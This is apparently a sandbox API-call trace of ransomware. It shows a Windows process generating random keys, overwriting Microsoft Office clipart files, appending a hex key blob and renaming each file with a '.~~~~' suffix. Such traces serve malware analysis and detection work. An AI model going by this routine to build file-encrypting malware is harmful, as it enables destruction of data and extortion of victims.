	[0118.167] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2764, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2764, lpOverlapped=0x0) returned 1
	[0118.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0118.168] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.168] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.168] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.168] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.168] CloseHandle (hObject=0x13c) returned 1
	[0118.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.~~~~")) returned 1
	[0118.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0118.170] GetLastError () returned 0x0
	[0118.170] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0118.171] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.172] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0118.172] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23816190118) returned 1
	[0118.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xafec96f0, dwHighDateTime=0x1d60e1e)) 
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9300
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9300 | out: hHeap=0x300000) returned 1
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b34d0
	[0118.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0118.173] GetLastError () returned 0x0
	[0118.173] GetLastError () returned 0x0
	[0118.173] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0118.173] GetLastError () returned 0x0
	[0118.173] GetLastError () returned 0x0
	[0118.239] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd8cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.239] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2734, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2734, lpOverlapped=0x0) returned 1
	[0118.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0118.241] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.241] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.242] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.242] CloseHandle (hObject=0x13c) returned 1
	[0118.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.242] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.~~~~")) returned 1
	[0118.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0118.244] GetLastError () returned 0x0
	[0118.244] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0118.245] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.245] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0118.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0118.245] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23823557583) returned 1
	[0118.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaff87dd0, dwHighDateTime=0x1d60e1e)) 
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e93e0
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e93e0 | out: hHeap=0x300000) returned 1
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3698
	[0118.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.246] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0118.246] GetLastError () returned 0x0
	[0118.247] GetLastError () returned 0x0
	[0118.247] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0118.247] GetLastError () returned 0x0
	[0118.247] GetLastError () returned 0x0
	[0118.255] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffec3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.255] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x13c4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x13c4, lpOverlapped=0x0) returned 1
	[0118.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0118.256] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.256] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.256] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.257] CloseHandle (hObject=0x13c) returned 1
	[0118.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6b20
	[0118.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.~~~~")) returned 1
	[0118.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6b20 | out: hHeap=0x300000) returned 1
	[0118.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0118.293] GetLastError () returned 0x0
	[0118.293] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395388) returned 1
	[0118.294] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.294] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0118.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0118.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0118.295] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23828464807) returned 1
	[0118.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xafffa1f0, dwHighDateTime=0x1d60e1e)) 
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9488
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9488 | out: hHeap=0x300000) returned 1
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6b20
	[0118.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3847a8
	[0118.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6b20 | out: hHeap=0x300000) returned 1
	[0118.295] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0118.296] GetLastError () returned 0x0
	[0118.296] GetLastError () returned 0x0
	[0118.296] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0118.296] GetLastError () returned 0x0
	[0118.296] GetLastError () returned 0x0
	[0118.701] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff74a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.701] WriteFile (in: hFile=0x148, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8b6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x8b6, lpOverlapped=0x0) returned 1
	[0118.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0118.703] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.704] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.704] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.704] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.704] CloseHandle (hObject=0x148) returned 1
	[0118.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b37c8
	[0118.743] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.~~~~")) returned 1
	[0118.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b37c8 | out: hHeap=0x300000) returned 1
	[0118.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0118.745] GetLastError () returned 0x0
	[0118.745] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0118.746] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.746] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0118.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0118.746] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23873635726) returned 1
	[0118.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb044a9d0, dwHighDateTime=0x1d60e1e)) 
	[0118.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0118.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0118.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0118.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e94f8
	[0118.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e94f8 | out: hHeap=0x300000) returned 1
	[0118.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0118.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3698
	[0118.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0118.747] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0118.747] GetLastError () returned 0x0
	[0118.747] GetLastError () returned 0x0
	[0118.747] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0118.748] GetLastError () returned 0x0
	[0118.748] GetLastError () returned 0x0
	[0119.258] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe2a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.259] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1d5e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1d5e, lpOverlapped=0x0) returned 1
	[0119.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0119.281] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.281] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.281] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.281] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.281] CloseHandle (hObject=0x148) returned 1
	[0119.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0119.281] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.~~~~")) returned 1
	[0119.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0119.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0119.284] GetLastError () returned 0x0
	[0119.419] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942538) returned 1
	[0119.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.421] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0119.421] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23941111381) returned 1
	[0119.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb0ab04f0, dwHighDateTime=0x1d60e1e)) 
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283abb8
	[0119.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283abb8 | out: hHeap=0x300000) returned 1
	[0119.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0119.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3b58
	[0119.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.422] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0119.422] GetLastError () returned 0x0
	[0119.423] GetLastError () returned 0x0
